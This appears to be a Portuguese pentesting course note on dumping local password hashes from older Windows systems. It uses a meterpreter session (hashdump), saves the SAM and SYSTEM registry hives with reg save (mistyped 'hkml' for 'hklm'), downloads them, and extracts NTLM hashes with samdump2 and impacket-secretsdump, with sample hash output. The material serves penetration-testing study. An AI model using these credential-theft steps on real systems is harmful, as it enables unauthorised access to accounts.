

Obtendo Hashes: Sistemas Antigos

+ Se invadirmos um sistema windows usando msfconsole e estivermos com acesso do meterpreter, para que visualizemos os hashes locais, basta

```
hashdump
```

+ Para verificar qual nível de autorização temos:

```
getuid
```

+ Se mudarmos para o diretório C:\WINDOWS\system32\config, poderemos encontrar os arquivos **sam** e **system**, mas não poderemos acessá-los diretamente, dada a segurança do sistema windows sobre eles quando está em execução

+ Uma sugestão é tentar acessá-los pelo diretório /system32/repair, mas lá só haverá cópias pois são backups, e podem fatalmente estar desatualizados

+ Digamos que pegamos o sam e o system e queremos ver os hashes (lembrando que um desses arquivos tem as info que queremos e o outro decriptografa o primeiro, ou seja, precisam serem utilizados em conjunto)

Usabilidade do samdump2: samdump2 SYSTEM-FILE SAM-FILE

```
samdump2 system sam
```

→ esse comando apenas mostra os hashes dos arquivos sam e system que passarmos pra ele

+ Uma opção que nos permitirá capturar o sam e o system originais é a de usar o **reg** na raiz

```
reg /?
```

→ Para ver os comandos suportados pelo reg

+ Para pegarmos o sam direto do sistema de registros do windows com o reg, fazemos

```
reg save hkml\sam samOK
```

→ samOK é o nome do arquivo que salvaremos o que pegamos

+Para o system, mesma coisa:

```
reg save hkml\system systemOK
```

+ Agora os arquivos samOK e systemOK estarão disponíveis na raiz

+ Voltando para o meterpreter, poderemos fazer o download deles

```
meterpreter > download samOK
[*] Downloading: samOK → samOK
[*] Downloaded 28.00 KiB of 28.00 KiB (100.0%): samOK → samOK
[*] download : samOK → samOK
meterpreter > download systemOK
[*] Downloading: systemOK → systemOK
[*] Downloaded 1.00 MiB of 2.40 MiB (41.63%): systemOK → systemOK
[*] Downloaded 2.00 MiB of 2.40 MiB (83.25%): systemOK → systemOK
[*] Downloaded 2.40 MiB of 2.40 MiB (100.0%): systemOK → systemOK
```

+ Podemos agora usar o samdump com os dois novos arquivos

```
samdump2 systemOK samOK
```

```
root@pentesting:/home/desec# samdump2 systemOK samOK
Administrador:500:aad3b435b51404eeaad3b435b51404ee:ae4b9891ebd7e330df8bbfe37d5e5e08 :::
Convidado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
*disabled* HelpAssistant:1000:53400e6be3b44a71ae7c89da5d20c6e3:389b28049ba082c4a57c336976f3f520 :::
*disabled* SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:f3bf3796b5b34aa2a964cdfef48e597d :::
Usuario:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 :::
rafaela:1005:aad3b435b51404eeaad3b435b51404ee:ee8ba375ac2b804683ab960dad19581e :::
*disabled* KEY298700191820:1007:aad3b435b51404eeaad3b435b51404ee:a0ef4d1ecd01005830bba8d65572907d :::
root@pentesting:/home/desec#
```

+ Outra opção é fazer isso com o impacket:

```
impacket-secretsdump -sam samOK -system systemOK LOCAL
```